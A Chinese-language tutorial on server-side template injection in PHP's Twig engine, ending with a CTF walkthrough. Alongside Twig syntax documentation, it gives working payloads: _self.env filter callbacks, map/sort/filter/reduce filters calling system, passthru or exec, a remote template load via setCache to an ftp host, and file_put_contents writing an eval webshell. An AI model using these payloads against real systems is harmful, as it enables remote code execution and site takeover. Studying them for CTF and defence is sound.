django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了

tornado

tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

形形色色的模板引擎为了达到渲染效果,总会对用户输入有所处理,这也就给攻击者提供了道路,尽管模板引擎也会相应提供沙箱机制进行保护,但是也存在沙箱逃逸技术可以进行绕过

攻击思路

找到模板是什么模板引擎,是哪个版本的,然后设法利用模板的内置方法,进行rce、getshell

PHP-Twig

Twig 被许多开源项目使用,比如 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM;许多框架也支持 Twig,比如 Slim、Yii、Laravel 和 Codeigniter 等等。

本地复现可以用composer搭建

  • 在Twig引擎中,我们可以通过下面方法获得一些关于当前应用的信息(虽然经常会被ban就是...)
{{_self}} #指向当前应用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

基础语法

模板其实就是一个文本文件,它可以生成我们需要的任何基于文本的格式文件(html、xml、csv等)

它也没有特别的拓展后缀名,.html.xml.twig都可

这里主要讲一些我们在利用时会用到的基础知识

变量

应用程序将变量传入模板中进行处理,变量可以包含你能访问的属性或元素。你可以使用 . 来访问变量中的属性(方法或 PHP 对象的属性,或 PHP 数组单元),Twig还支持访问PHP数组上的项的特定语法, foo['bar']

{{ foo.bar }}
{{ foo['bar'] }}

全局变量

模板中始终提供以下变量:

  • _self :引用当前模板名称;(在twig1.x和2.x/3.x作用不一)
  • _context :引用当前上下文;
  • _charset :引用当前字符集。

设置变量

可以为代码块内的变量赋值。赋值使用set标签:

{% set foo='foo' %}
{% set foo=[1, 2] %}
{% set foo={'foo': 'bar'} %}

过滤器

变量可以修改为 过滤器 . 过滤器与变量之间用管道符号隔开 (| ). 可以链接多个过滤器。一个过滤器的输出应用于下一个过滤器。

下面的示例从 name 标题是:

{{ name|striptags|title }}

接受参数的筛选器在参数周围有括号。此示例通过逗号连接列表中的元素:

{{ list|join }}
{{ list|join(', ') }}
?
// {{ ['a', 'b', 'c']|join }}
// Output: abc
?
// {{ ['a', 'b', 'c']|join('|') }}
// Output: a|b|c

若要对代码部分应用筛选器,请使用apply标签:

{% apply upper %}
   This text becomes uppercase
{% endapply %}

过滤器有很多,但是我们常用的一般就mapsortfilterreduce

更多内置过滤器请参考:https://twig.symfony.com/doc/3.x/filters/index.html

控制结构

控制结构是指所有控制程序流的东西-条件句(即 if/elseif/else/ for)循环,以及程序块之类的东西。控制结构出现在 {{% ... %}}

例如,要显示在名为 users 使用for标签:

<h1>Members</h1>
<ul>
  {% for user in users %}
       <li>{{ user.username|e }}</li>
  {% endfor %}
</ul>

if标记可用于测试表达式:

{% if users|length > 0 %}
   <ul>
      {% for user in users %}
           <li>{{ user.username|e }}</li>
      {% endfor %}
   </ul>
{% endif %}

更多 tags 请参考:https://twig.symfony.com/doc/3.x/tags/index.html

函数

在 Twig 模板中可以直接调用函数,用于生产内容。如下调用了 range() 函数用来返回一个包含整数等差数列的列表:

{% for i in range(0, 3) %}
  {{ i }},
{% endfor %}
?
// Output: 0, 1, 2, 3,

更多内置函数请参考:https://twig.symfony.com/doc/3.x/functions/index.html

注释

要在模板中注释某一行,可以使用注释语法 {# ...#}

{# note: disabled template because we no longer use this
  {% for user in users %}
      ...
  {% endfor %}
#}

引入其他模板

Twig 提供的 include 函数可以使你更方便地在模板中引入模板,并将该模板已渲染后的内容返回到当前模板

{{ include('sidebar.html') }}

模板继承

Twig最强大的部分是模板继承。模板继承允许您构建一个基本的“skeleton”模板,该模板包含站点的所有公共元素并定义子模版可以覆写的 blocks 块。

从一个例子开始更容易理解这个概念。

让我们定义一个基本模板, base.html ,它定义了可用于两列页面的HTML框架文档:

<!DOCTYPE html>
<html>
  <head>
      {% block head %}
          <link rel="stylesheet" href="style.css"/>
          <title>{% block title %}{% endblock %} - My Webpage</title>
      {% endblock %}
  </head>
  <body>
      <div id="content">{% block content %}{% endblock %}</div>
      <div id="footer">
          {% block footer %}
              ? Copyright 2011 by <a href="http://domain.invalid/">you</a>.
          {% endblock %}
      </div>
  </body>
</html>

在这个例子中,block标记定义了子模板可以填充的四个块。所有的 block 标记的作用是告诉模板引擎子模板可能会覆盖模板的这些部分。

子模板可能如下所示:

{% extends "base.html" %}
?
{% block title %}Index{% endblock %}
{% block head %}
  {{ parent() }}
  <style type="text/css">
      .important { color: #336699; }
</style>
{% endblock %}
{% block content %}
  <h1>Index</h1>
  <p class="important">
      Welcome to my awesome homepage.
  </p>
{% endblock %}

其中的 extends 标签是关键所在,其必须是模板的第一个标签。extends 标签告诉模板引擎当前模板扩展自另一个父模板,当模板引擎评估编译这个模板时,首先会定位到父模板。由于子模版未定义并重写 footer 块,就用来自父模板的值替代使用了。

更多 Twig 的语法请参考:https://twig.symfony.com/doc/3.x/

1.x

在twig 1.x版本,存在三个全局变量

  • _self:引用当前模板实例
  • _context:引用上下文
  • _charset:引用当前字符集

其相对应的代码如下

protected $specialVars=[
       '_self'=> '$this',
       '_context'=> '$context',
       '_charset'=> '$this->env->getCharset()',
  ];

在twig 1.x中,主要利用的是_self变量,它会返回当前 \Twig\Template 实例,并提供了指向 Twig_Environmentenv 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法

payload

{{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}}

通过调用setCache方法改变twig加载php的路径,在allow_url_include开启的条件下,我们就可以实现远程文件包含

在getFilter方法中存在call_user_func回调函数,通过传入参数我们可以借此调用任意函数

#getFilter
public function getFilter($name)
{
  ...
   foreach ($this->filterCallbacks as $callback) {
   if (false !==$filter=call_user_func($callback, $name)) {
     return $filter;
  }
}
 return false;
}
?
public function registerUndefinedFilterCallback($callable)
{
 $this->filterCallbacks[]=$callable;
}
?
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
// Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

但以上漏洞都只存在于1.x,在后续版本中,_self只会返回当前实例名字符串

2.x&3.x

在这里我用twig3.x+php7.3.4作为示例

用PHP的API调用twig

index.php

<?php
require_once "./vendor/autoload.php";
?
$loader=new \Twig\Loader\ArrayLoader([
   'index'=> 'Hello {{ name }}!',
]);
$twig=new \Twig\Environment($loader);
?
?
$template=$twig->createTemplate("Hello {$_GET['name']}!");
?
echo $template->render();

在twig2.x/3.x中,_self不再像1.x时那么有他独特的作用,但是也相应更新了一些特殊方法来供我们利用

map过滤器

map

这个 map 过滤器将箭头函数应用于序列或映射的元素。arrow函数接收序列或映射的值:

{% set people=[
{first: "Bob", last: "Smith"},
{first: "Alice", last: "Dupond"},
] %}

{{ people|map(p=> "#{p.first} #{p.last}")|join(', ') }}
{# outputs Bob Smith, Alice Dupond #}

arrow函数还接收密钥作为第二个参数:

{% set people={
"Bob": "Smith",
"Alice": "Dupond",
} %}

{{ people|map((last, first)=> "#{first} #{last}")|join(', ') }}
{# outputs Bob Smith, Alice Dupond #}

注意arrow函数可以访问当前上下文。

可以看出允许用户传一个arrow 函数,arrow 函数最后会变成一个closure

举个例子

当我们传入

{{["man"]|map((arg)=>"hello #{arg}")}}

在模板中会被编译为

twig_array_map([0=> "id"], function ($__arg__) use ($context, $macros) { $context["arg"]=$__arg__; return ("hello " . ($context["arg"] ?? null))

map所对应的函数如下

function twig_array_map($array $arrow)
{
   $r=[];
   foreach ($array as $k=> $v) {
       $r[$k]=$arrow($v $k);
  }
?
   return $r;
}

我们可以看到,传入的 $arrow 直接就被当成函数执行,即 $arrow($v, $k),而 $v$k 分别是 $array 中的 value 和 key

所以$array$arrow都是我们可控的,那我们就可以找到有两个参数的、可以实现命令执行的危险函数来进行rce

经过查询,有如下几种常见命令执行函数

system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string

有两个参数的函数就上面三种,其对应payload

{{["whoami"]|map("system")}}
{{["whoami"]|map("passthru")}}
{{["whoami"]|map("exec")}}    // 无回显

但是当上面的都被ban了呢,我们还有没有其他方法rce

当然,例如

file_put_contents ( string $filename , mixed $data [, int $flags=0 [, resource $context ]] ) : int

当我们找到路径后就可以利用该函数进行写shell了

?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\phpstudy_pro\WWW\shell.php"}|map("file_put_contents")}}

根据map过滤器的利用思路,我们可以再找到其他类似的,带有$arrow参数的

sort过滤器

sort

这个 sort 筛选器对数组排序:

{% for user in users|sort %}
...
{% endfor %}

注解

在内部,Twig使用PHP asort 函数来维护索引关联。它通过将可遍历对象转换为数组来支持这些对象。

您可以传递一个箭头函数来对数组进行排序:

{% set fruits=[
{ name: 'Apples', quantity: 5 },
{ name: 'Oranges', quantity: 2 },
{ name: 'Grapes', quantity: 4 },
] %}

{% for fruit in fruits|sort((a, b)=> a.quantity <=> b.quantity)|column('name') %}
{{ fruit }}
{% endfor %}

{# output in this order: Oranges, Grapes, Apples #}

注意 spaceship 运算符来简化比较。

类似于map,sort在模板编译时也会进入twig_sort_filter 函数

function twig_sort_filter($array, $arrow=null)
{
   if ($array instanceof \Traversable) {
       $array=iterator_to_array($array);
  } elseif (!\is_array($array)) {
       throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
  }
?
   if (null !==$arrow) {
       uasort($array, $arrow);    // 直接被 uasort 调用
  } else {
       asort($array);
  }
?
   return $array;
}
uasort ( array &$array , callable $value_compare_func ) : bool

可以看到,$array$arrow直接被uasort调用

uasort会将数组中的元素按照键值进行排序,当我们自定义一个危险函数时,就可能造成rce

这样我们就可以构造payload了

{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}}    // 无回显

filter过滤器

filter

这个 filter 过滤器使用箭头函数过滤序列或映射的元素。arrow函数接收序列或映射的值:

{% set sizes=[34, 36, 38, 40, 42] %}

{{ sizes|filter(v=> v > 38)|join(', ') }}
{# output 40, 42 #}

for 标记,它允许筛选要迭代的项:

{% for v in sizes|filter(v=> v > 38) -%}
{{ v }}
{% endfor %}
{# output 40 42 #}

它也适用于映射:

{% set sizes={
xs: 34,
s: 36,
m: 38,
l: 40,
xl: 42,
} %}

{% for k, v in sizes|filter(v=> v > 38) -%}
{{ k }}={{ v }}
{% endfor %}
{# output l=40 xl=42 #}

arrow函数还接收密钥作为第二个参数:

{% for k, v in sizes|filter((v, k)=> v > 38 and k !="xl") -%}
{{ k }}={{ v }}
{% endfor %}
{# output l=40 #}

注意arrow函数可以访问当前上下文。

类似于map,filter在模板编译时也会进入twig_array_filter 函数

function twig_array_filter($array, $arrow)
{
   if (\is_array($array)) {
       return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);    // $array 和 $arrow 直接被 array_filter 函数调用
  }
?
   // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
   return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
?
array_filter ( array $array [, callable $callback [, int $flag=0 ]] ) : array

可以看到和前面方法类似,我们实验一下

得到payload

{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}}    // 无回显
?
{{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|filter("file_put_contents")}}    // 和map过滤器一样可以写 Webshell

reduce 过滤器

reduce

这个 reduce filter使用arrow函数迭代地将序列或映射缩减为单个值,从而将其缩减为单个值。arrow函数接收上一次迭代的返回值和序列或映射的当前值:

{% set numbers=[1, 2, 3] %}

{{ numbers|reduce((carry, v)=> carry + v) }}
{# output 6 #}

这个 reduce 过滤器需要 initial 值作为第二个参数:

{{ numbers|reduce((carry, v)=> carry + v, 10) }}
{# output 16 #}

注意arrow函数可以访问当前上下文。

直接来看函数

function twig_array_reduce($array, $arrow, $initial=null)
{
   if (!\is_array($array)) {
       $array=iterator_to_array($array);
  }
?
   return array_reduce($array, $arrow, $initial);    // $array, $arrow 和 $initial 直接被 array_reduce 函数调用
}
?
array_reduce ( array $array , callable $callback [, mixed $initial=NULL ] ) : mixed

可以看到array_reduce是有三个参数的

$array$arrow 直接被 array_filter 函数调用,我们可以利用该性质自定义一个危险函数从而达到rce

刚开始还是像前面一样构造

{{["id", 0]|reduce("passthru")}}

但是发现没有执行成功,原因是第一次调用的是

passthru($initial, "id")

因为$initial为null,所以会报错,我们想要对他进行赋值才行

payload

{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}}    // 无回显

题目

  • [BJDCTF2020]Cookie is so stable

进入发现一个flag按钮和一个hint按钮点击hint发现源码有hint

返回访问flag.php

经过简单测试猜测为twig(传入{{7*'7'}}后Jinja2输出7777777,Twig输出49

同时发现在cookie是我们的输入点,开始查看是什么版本的twig,用_self来测试

cookie
user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

twig1.x,我们直接cat /flag试试

cookie
user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}


基本思路还是测试出为哪个模板,哪个版本,测试payload即可

后言

SSTI 并不广泛存在,但如果开发人员滥用模板引擎,那么就很有可能出现SSTI,并且根据其模板引擎的复杂性和开发语言的特性,很大几率会出现非常严重的问题

联想到最近的log4j2漏洞,与SSTI类似,都是将用户的输入当作可信任内容,这才出现了大大小小的安全问题

一句话总结:永远不要相信用户的输入